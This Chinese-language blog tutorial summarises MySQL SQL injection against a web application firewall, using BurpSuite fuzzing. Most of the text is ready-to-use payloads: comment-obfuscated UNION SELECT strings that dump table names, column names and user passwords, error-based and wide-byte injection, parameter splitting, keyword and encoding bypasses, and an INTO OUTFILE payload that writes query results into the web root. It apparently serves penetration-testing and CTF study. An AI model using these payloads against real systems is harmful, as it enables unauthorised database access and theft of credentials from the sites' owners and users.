MySQL注入之Fuzz测试&WAF Bypass小结
BurpSuite Fuzz测试
在绕过之前需要搞清楚哪些东西被过滤了,哪些没有,主要思路就是通过fuzz来辅助判断。
WAF的规则过滤时可能重点关注的5个位置:id=1[1]union[2]select[3]1,username,3[4]from[5]users
安全狗试一下-1' union select 1,2,3 --+
不出所料被拦截了。
测试单独的一个union和单独的select都是可以的过的,但是组合在一起联合查询就会被过滤,最基本的绕过思路是使用内联注释/**/
和/*!*/
来替换空格绕过。
内联注释
注释/*!*/
可以来替换空格绕过,它是一种特殊的注释,被称为条件编译注释。当!
后面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。
比如:/*!000001*/
,MySQL的版本为5.7,注释中的内容被当作SQL语句执行了,下面的例子相当于1=1
,成功绕过了and 1=1
的限制。
注释/**/
和/*!*/
的区别就是它包含的内容MySQL不会执行。
关于内联注释
/*!50100*/
特别注意50100表示MySQL的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/
到/*!50100*/
都可以作为payload。
绕过union[]select联合查询
观察以往多种bypass的payload,union和select之间的位置/**/
中间加东西可以绕过。
不妨用Burp Fuzz试一试:
对union和select之间的字符进行爆破:
当字符的长度来到5的时候,发现有很多就可以绕过了:
随便选一个来进行测试,构造payload如下:
-1'union/*/!*!/*/select%201,2,3--+
成功绕过了联合查询的空格过滤。
绕过敏感函数
当联合查询被绕过以后需要借助一些函数来了解数据库。但是直接执行函数毫无疑问会被过滤。
但是是将函数名加括号一同过滤,单独的函数名没有过滤,括号也没有被过滤。等价函数绕过显然不现实,函数名大小写,双写这些常规套路太低级,也都没用。
尝试16进制编码绕过:
绕过了但又没完全绕过,被编码的函数名被当作一个普通的字符,不会被当作一个函数执行。
所以思路是将将函数名和括号分开,在函数名上做文章,尝试用注释/*!xxx*//**/()
这种方式来进行绕过:
单纯的注释肯定不可以,用Burp Fuzz试一试:
利用绕过空格的思路,发现有很多都可以绕过的:
随便选一个
-1'union/*/!*!/*/select%201,/*!user*//*/-//*/(),3--+
-1'union/*/!*!/*/select%201,database/*///-*/(),3--+
成功绕过了敏感函数过滤。
绕过from[]information_schema查表
当绕过敏感函数database()
后就可以查看数据库有哪些表,正常的SQL语句:
group_concat(table_name) from information_schema.tables where table_schema=database()
经过测试发现from table_name
和information_schema.tables
均被过滤。
同样采用上面内联注释方式试一试:
尝试使用注释绕过from后的空格,并且使用其他的表 MYSQL注入中information_schema的替代 代替information_schema.tables,但是也没能成功。
看看其他师傅是如何绕过的:
还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/
这种形式:
将%23
换成--+
构造试一试:
-1''union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/%20where%20table_schema='security'--+
成功爆出了表名。
有了表名的绕过,那么注入列名也不是件太难的事情,修改一下Payload即可:
-1'union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/%0awhere%0atable_name='users'--+
同理,修改语句即可爆字段信息:
-1'union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
报错注入示例
当union联合查询不可使用时,并且在有报错的情况下可以考虑使用报错注入:
and ST_LatFromGeoHash(concat(0x7e(select/*/!*!**/username/*/!*!**/from/*/!*!**/users/*/!*!**/limit 0,1),0x7e))
在报错函数中利用内联注释绕过空格的方式同样可用。
常规绕过思路总结
搜集了一些常规的绕过思路和方法,随着WAF越来越强,有些方法已经失效了。但在实战的时候多一种思路也不是什么坏事。
空格绕过
最基本的绕过方法是使用注释/**/
和/*!*/
来替换空格:
select/**/schema_name/**/from/**/information_schema.schemata;
select/*!*/schema_name/*!*/from/*!*/information_schema.schemata;
使用/*!...*/
条件编译注释绕过空格:
/*!select*//*!schema_name*//*!from*//*!information_schema.schemata*/;
在SQL中,括号()
用来重新组织语句结构,并且而括号的两端可以没有多余的空格(最好用):
select(schema_name)from(information_schema.schemata);
在SQL中,反引号(``)用于标识数据库、表或列的名称。在反引号的两端可以没有多余的空格:
select`username`from`user`;
使用浮点数:
select * from user where id=1 union select 1,2,3;
select * from user where id=1.0 union select 1,2,3;
select * from user where id=1e0union select 1,2,3;
使用%20 %09 %0a %0b %0c %0d %a0 %00
等URL编码代替空格。
引号绕过
使用十六进制编码绕过:
selec * from user where username="admin";
select * from user where username=0x61646D696E;
逗号绕过
使用join
连接操作绕过逗号:
select * from user union select 1,2,3;
select * from user union select * from (select 1)a join (select 2)b join (select 3) as alias;
在盲注时,用到的字符串截取函数substr(),substring(),mid()
中也会用到逗号:
substr(string, position, length)
可以使用from position for length
的方式绕过逗号:
select substr(database(),1,1);
select substr(database() from 1 for 1);
select substring(database(),1,1);
select substring(database() from 1 for 1);
select mid(database(),1,1);
select mid(database() from 1 for 1);
盲注时逐个判断查到字符ascii码时,可以直接使用模糊查询来绕过字符串截取函数的逗号:
select ascii(substr(database(),1,1))=117;
select database() like 'u%';
对于limit
可以使用offset
来绕过逗号:
select * from news limit 0,1
select * from news limit 1 offset 0
比较符号绕过
大于号>
和小于号<
在盲注中也经常使用。
greatest()
函数可接受多个数值参数,返回最大值。least()
用法相同,返回最小值。
select greatest(1,2,3);
select least(1,2,3);
字符串的比较MySQL支持C语言中的字符串比较函数strcmp(str1,str2)
。当str1=str2,返回0;当str1>str2,返回1;当str1<str2,返回-1。
操作符in
可用于在where子句中进行多项比较:
select * from user where id in (1, 3, 5);
between and
选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
between 1 and 1; #等价于=1
盲注使用二分查找的时候,需要使用到比较操作符来进行查找:
select * from user where ascii(substr(database(),1,1))>64;
使用greatest()
函数绕过比较符号:
select * from user where greatest(ascii(substr(database(),0,1)),64)=64
如果等号=
被过滤,可以考虑使用like | regexp
或者<>
绕过:
select * from user where username like 'admin'; #模糊匹配字符串
select * from user where username regexp '^[a]' #正则表达式匹配
<>
操作符在MySQL中表示不等于:
select * from users where username <> 'guest';
逻辑符号绕过
or,and,xor,not
布尔逻辑操作符被过滤:
and 等价 && or 等价 || xor 等价 | not 等价 !
在或者可用与运算符^
来绕过:
真^真^真=真
真^假^真=假
真^(!(真^假))=假
关键字绕过
union,select,where
等关键字被过滤:
使用大小写绕过:
sELeCt * fRoM user UnIoN/**/SeLeCT 1,2,3;
使用注释符绕过:
/**/, #, --+, -- -, //, -- , ;, %00, --a
内联注释绕过:
/*!UnIoN*/ SeLeCT 1,2,3;
双写绕过(只将匹配的第一个关键字删除):
UNIunionONSeLselectECT1,2,3;
能使用注释绕过的很大一部分原因是服务器端未检测或检测不严注释内的字符串。
编码绕过
URL编码,ASCII,HEX,Unicode编码绕过:
select * from user where username='admin' and password='%20OR%201=1';
select * from user where username='admin' and password=char(39,111,114,48,49,48,49,48,49)';
select * from users where username='admin' and password=0x2726;
select * from users where username='admin' and password=unicode('%u0027');
等价函数绕过
hex(),bin() ==> ascii()
sleep() ==> benchmark()
concat() ==> group_concat(),concat_ws()
substr() ==> substring(),mid(),left(),right(),elt()
length() ==> char_length()
@@user ==> user()
@@datadir ==> datadir()
......
宽字节注入
在MySQL使用GBK编码(宽字符集)的时候,会认为两个字符为一个汉字。
当PHP开启GPC后,会对特殊字符进行转义,比如将'
转义为\'
,转义后字符对应的URL编码为%5c%27
。
如果现在在%5c%27
的前面加上%df
,则就变为了%df%5c%27
。此时使用GBK编码的MySQL就会认为%df%5c
是一个宽字符,也就是一个汉字運
。这样就会导致%27
作为一个单独的'
符号留在外面,有了单引号就可以注入。
简单说就是,利用宽字符集占用两个字节的性质,利用%df
吃掉用来转义的\
字符,造成单引号逃逸,产生注入。
id=1' =转义处理=> id=%31%5c%27 =sql语句=> id=1\' ==> 无法注入
id=1%df' =转义处理=> id=%31%df%5c%27 =sql语句=> id=1運' ==> 宽字节注入
防御:
设置MySQL的连接参数,使用二进制模式 charcater_set_client=binary
多参数请求拆分
对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。
例如请求URL时,GET参数格式如下:
?a=[input1]&b=[input2]
将GET的参数a和参数b拼接到SQL语句中:
and a=[input1] and b=[input2]
这时就可以将注入语句进行拆分,如下所示:
a=union/*&b=*/select 1,2,3,4
最终将参数a和参数b拼接,得到的SQL语句如下所示:
and a=union /*and b=*/select 1,2,3,4
生僻函数
使用生僻函数替代常见的函数,例如在报错注入中使用polygon()
函数替换常用的updatexml()
函数绕过函数过滤:
select polygon((select * from (select * from (select @@version) f) x));
输出内容过滤
编码
hex() to_base64()
字符替换
replace(str,from_str,to_str)
编码+字符替换
replace(to_base64(xxx),from_str,to_str) #replace多次套用
将查询结果写入文件再读取
0' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'#
参考文章:
https://www.cnblogs.com/Vinson404/p/7253255.html
https://cloud.tencent.com/developer/article/2050038
https://www.freebuf.com/articles/web/321240.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ